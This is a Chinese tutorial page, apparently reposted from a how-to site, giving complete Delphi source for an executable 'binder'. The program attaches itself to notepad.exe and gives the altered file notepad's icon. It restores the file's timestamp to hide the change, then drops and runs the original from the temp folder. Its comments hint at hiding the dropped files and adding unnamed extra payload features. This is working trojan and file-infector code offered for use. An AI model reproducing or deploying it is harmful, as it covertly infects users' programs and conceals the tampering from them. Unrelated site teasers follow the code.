捆绑执行文件新思维(第二版)

2016-02-19 13:21 6 1 收藏

get新技能是需要付出行动的,即使看得再多也还是要动手试一试。今天图老师小编跟大家分享的是捆绑执行文件新思维(第二版),一起来学习了解下吧!

【 tulaoshi.com - 编程语言 】

  
  最新功能:与其它程序捆绑后,图标为其它程序的图标
  这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
  如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

  程序中几个数字的确定:
  1  在本程序编译后用Aspack.Exe压缩,大小为41472
  2  经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
     位于从第40752字节开始共640字节,图标后还有81字节

  与其它程序捆绑的过程:
  本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

  怎么找到图标的位置:
  将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
  编辑软件载入,查找"99 99 99"字符串即可。以后你可为程序加上其它合适的图标。
  十六进制编辑软件:常用UltraEdit。
  本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
      http://guanbh.top263.net/download/hexedit.exe
  }
  program exe2;

  uses
    classes,
    Tlhelp32,
    windows,
    graphics,
    ShellAPI,
    SysUtils;

  {$R *.RES}
  var
    lppe:TProcessEntry32;
    found:boolean;
    handle:THandle;
    ProcessStr,ExeName:string;
    WinDir:pchar;
  const
    MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  procedure copy2(s:string);
  var
    s1,s2,IcoStream:TMemoryStream;
    File2:TFilestream;
    ch:array[0..1] of char;
    ss:string;
    filetime,fhandle:integer;
    l:integer;
    File2Icon:Ticon;
  begin
    {若文件s不存在}
    if FileExists(s)=False then exit;
    try
      {若文件不含图标,就不捆绑}
      File2Icon:=Ticon.Create;
      l:=extracticon(handle,pchar(s),0);
      if l=0 then
      begin
        File2Icon.Free;
        exit;
      end
      else
      begin
         {提取被捆绑程序图标}
         File2Icon.Handle:=extracticon(handle,pchar(s),0);
         IcoStream:=TMemoryStream.Create;
         File2Icon.SaveToStream(IcoStream);
         File2Icon.Free;
      end;
      {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
      File2:=TFilestream.Create(s,fmopenread);
      if File2.SizeMySize then
      begin
        File2.Position:=MySize;
        File2.Read(ch,2);
        ss:=copy(ch,1,2);
        if ss='MZ' then
        begin
          File2.Free;
          exit;
        end;
      end;
      File2.Free;
      {将本文件与文件s合并 本文件+s=s}
      s2:=TMemoryStream.Create;
      s2.loadfromfile(ExeName);
      s1:=TMemoryStream.Create;
      {
      加入本程序的前部40751字节
      第40752字节开始共640字节为图标数据
      !!以下数字 40751,81要根据实际情况修改!!
       }
      s1.copyfrom(s2,40751);
      {将图标换为被捆绑程序图标,图标大小为766}
      IcoStream.Position:=126;
      s1.CopyFrom(IcoStream,640);
      IcoStream.Free;
      s2.Position:=40751+640;
      {加入本程序的后部81字节}
      s1.CopyFrom(s2,81);
      s2.clear;
      s2.loadfromfile(s);
      s1.seek(s1.size,soFromBeginning);
      {加入被捆绑程序全部}
      s1.copyfrom(s2,s2.size);
      s2.free;
      {得到文件s的日期}
      fhandle:=FileOpen(s, fmOpenread);
      filetime:=filegetdate(fhandle);
      fileclose(fhandle);
      s1.SaveToFile(s);
      {恢复文件s的日期}
      fhandle:=FileOpen(s, fmOpenwrite);
      filesetdate(fhandle,filetime);
      fileclose(fhandle);
      s1.free;
    except end;
  end;

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  procedure CreateFileAndRun;
  var
    s1,s2:TMemoryStream;
    TempDir:pchar;
    cmdstr:string;
    a:integer;
  Begin
    s1:=TMemoryStream.Create;
    s1.loadfromfile(ExeName);
    if s1.Size=MySize then
    begin
      s1.Free;
      exit;
    end;
    s1.seek(MySize,soFromBeginning);
    s2:=TMemoryStream.Create;
    s2.copyfrom(s1,s1.Size-MySize);
    GetMem(TempDir,255);
    GetTempPath(255,TempDir);
    try
      {
      把文件释放到临时目录。
      如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
      如 c:windows(or winnt)d...(☆这是个什么目录?你去研究研究吧!☆)
      }
      s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
    except end;
      cmdstr:='';
      a:=1;
      while ParamStr(a)'' do begin
        cmdstr:=cmdstr+ParamStr(a)+' ';
        inc(a);
      end;
    {运行真正的程序文件}
    winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
    freemem(TempDir);
    s2.free;
    s1.free;
  end;

  begin
    GetMem(WinDir,255);
    GetWindowsDirectory(WinDir,255);
    ExeName:=ParamStr(0);
    handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    found:=Process32First(handle,lppe);
    ProcessStr:='';
    while found do
    begin
      ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
      found:=Process32Next(handle,lppe);
    end;
    {如果notepad没运行,就与它捆在一起}
    if pos(WinDir+'otepad.exe',ProcessStr)=0 then
    begin
      copy2(WinDir+'otepad.exe');
    end;
    {其它需要捆绑的文件
    if pos(...,ProcessStr)=0 then
    begin
      copy2(...);
    end;
    ...
    }
    freemem(WinDir);
    {
    你想用这个程序干点其它的什么...
    }
    CreateFileAndRun;{释放文件并带参数运行}
  end.
  

来源:http://www.tulaoshi.com/n/20160219/1603914.html

延伸阅读
标签: 电脑入门
可执行文件是指可移植可执行的文件,用于程序的执行,那么Linux下要如何查找可执行文件呢?下面图老师小编就给大家介绍下Linux中查找可执行文件的方法,一起来了解下吧。 linux下查找可执行文件 ls -F|grep * 这样就可以了! ls -F | grep /$是什么意思 ls -F的意思是把文件按照类型归类,并且在末尾加上/ *等符号标识 | 管道输出,...
标签: 电脑入门
所有的电脑都可以执行EXE格式的文件,但是有些电脑上没有安装Office,也就无法查看PPT文档。 那么如何将PPT文件打包成EXE可执行文件?也许,你会说,WORD的文件打包那么简单,ppt打包为EXE可执行文件也很简单吧.但是事实并非如此,不论是什么文件,打包成EXE的可执行文件在携带起来就会很方便,但对于PPT也就是PowerPoint 2003 (幻灯片)打包的方法很多...
《风卷残云》一版和二版demo的区别 会员:lxxgj 分享 对于控制和手感进行了部分改进 Camera做了部分修改 改正了一些玩家发现的bug,比如第三关踢死boss无法通关 修改了积分系统 增加了挑战关,在demo中开放前五分钟(虽然在研发组测试中没人能在五分钟内通关,但是理论上通关可能还是存在的) 增加了手柄支持。(部分机器可能需要安装...
标签: 电脑入门
1、在PowerPoint 2003中打开,创建或编辑一新的或已经存在的演示文档。在任何时候,尤其是创建新的演示文档或链接媒体做演示的时候,对文件名的命名请使用旧的DOS 8.3命名规则,就是文件名不要超过8个字符,扩展名不要超过3 个。保存演示时选文件---CD打包。 2、在CD打包的对话框中,给项目起个名字。你会发现活动演示已经包含在每一个默认...
标签: Web开发
由于本人内容过多排版比较乱,推荐大家浏览单独网页版 http://www.jb51.net/tools/zhengze.html 本文目标 30分钟内让你明白正则表达式是什么,并对它有一些基本的了解,让你可以在自己的程序或网页里使用它。 如何使用本教程 最重要的是——请给我 30分钟 ,如果你没有使用正则表达式的经验,请不要试图在30 秒 内入门——除非你是超人 :) 别被...

经验教程

47

收藏

50
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部